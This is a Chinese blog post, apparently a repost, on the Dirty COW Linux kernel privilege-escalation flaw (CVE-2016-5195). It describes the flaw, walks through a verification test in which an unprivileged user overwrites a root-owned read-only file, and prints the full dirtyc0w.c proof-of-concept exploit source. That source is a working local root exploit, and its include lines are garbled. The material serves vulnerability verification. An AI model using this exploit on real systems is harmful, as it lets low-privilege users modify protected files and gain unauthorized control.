脏牛漏洞影响的linux内核,CVE-2016-5195 脏牛漏洞:Linux内核通杀提权漏洞验证 | 聂扬帆博客...

32c3bf2b3252352f39d0f7af9c3f3ad5.png

一、漏洞简介

漏洞编号:CVE-2016-5195

漏洞名称:脏牛(Dirty COW)

漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权

影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。

Android 7.0最新的10月补丁安全级别的系统上测试过漏洞POC,确认Android受影响

二、漏洞影响

1. 没有权限的本地用户可以使用此漏洞获取写访问权限,修改制度内存映射,从而提权。

2. 改漏洞允许攻击者使用本地账户修改磁盘上的二进制文件,绕过标准权限的限制,这些权限机制通常用于防止修改没有适当的权限集。

三、漏洞细节

RedHat官网:https://access.redhat.com/security/vulnerabilities/2706661

四、漏洞验证1、创建个测试用户

# useradd test

2、创建一个test文件,文件内容为this is test

# cd /tmp

# echo this is test > test

# cat test

this is test

3、把test文件权限设置成0404

# chmod 0404 test

# ls -l test

-r-----r-- 1 root root 13 Oct 27 14:12 test

4、创建漏洞利用POC脚本

# vim dirtyc0w.c

5、运行脚本

# gcc -lpthread dirtyc0w.c -o dirtyc0w

6、切换到test用户

# su - test

$ cd /tmp/

7、用漏洞脚本把test文件内容更改为m00000000000000000

$ ./dirtyc0w test m00000000000000000

mmap 7ff37b870000

madvise 0

procselfmem 1800000000

8、查看结果,test文件内容被更改。漏洞存在

$ cat test

m000000000000

dirtyc0w.c文件内容#include

#include

#include

#include

#include

#include

#include

#include

void *map;

int f;

struct stat st;

char *name;

void *madviseThread(void *arg)

{

char *str;

str=(char*)arg;

int i,c=0;

for(i=0;i<100000000;i++)

{

/*

You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661

> This is achieved by racing the madvise(MADV_DONTNEED) system call

> while having the page of the executable mmapped in memory.

*/

c+=madvise(map,100,MADV_DONTNEED);

}

printf("madvise %d\n\n",c);

}

void *procselfmemThread(void *arg)

{

char *str;

str=(char*)arg;

/*

You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16

> The in the wild exploit we are aware of doesn't work on Red Hat

> Enterprise Linux 5 and 6 out of the box because on one side of

> the race it writes to /proc/self/mem, but /proc/self/mem is not

> writable on Red Hat Enterprise Linux 5 and 6.

*/

int f=open("/proc/self/mem",O_RDWR);

int i,c=0;

for(i=0;i<100000000;i++) {

/*

You have to reset the file pointer to the memory position.

*/

lseek(f,(uintptr_t) map,SEEK_SET);

c+=write(f,str,strlen(str));

}

printf("procselfmem %d\n\n", c);

}

int main(int argc,char *argv[])

{

/*

You have to pass two arguments. File and Contents.

*/

if (argc<3) {

(void)fprintf(stderr, "%s\n",

"usage: dirtyc0w target_file new_content");

return 1; }

pthread_t pth1,pth2;

/*

You have to open the file in read only mode.

*/

f=open(argv[1],O_RDONLY);

fstat(f,&st);

name=argv[1];

/*

You have to use MAP_PRIVATE for copy-on-write mapping.

> Create a private copy-on-write mapping. Updates to the

> mapping are not visible to other processes mapping the same

> file, and are not carried through to the underlying file. It

> is unspecified whether changes made to the file after the

> mmap() call are visible in the mapped region.

*/

/*

You have to open with PROT_READ.

*/

map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

printf("mmap %zx\n\n",(uintptr_t) map);

/*

You have to do it on two threads.

*/

pthread_create(&pth1,NULL,madviseThread,argv[1]);

pthread_create(&pth2,NULL,procselfmemThread,argv[2]);

/*

You have to wait for the threads to finish.

*/

pthread_join(pth1,NULL);

pthread_join(pth2,NULL);

return 0;

}

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值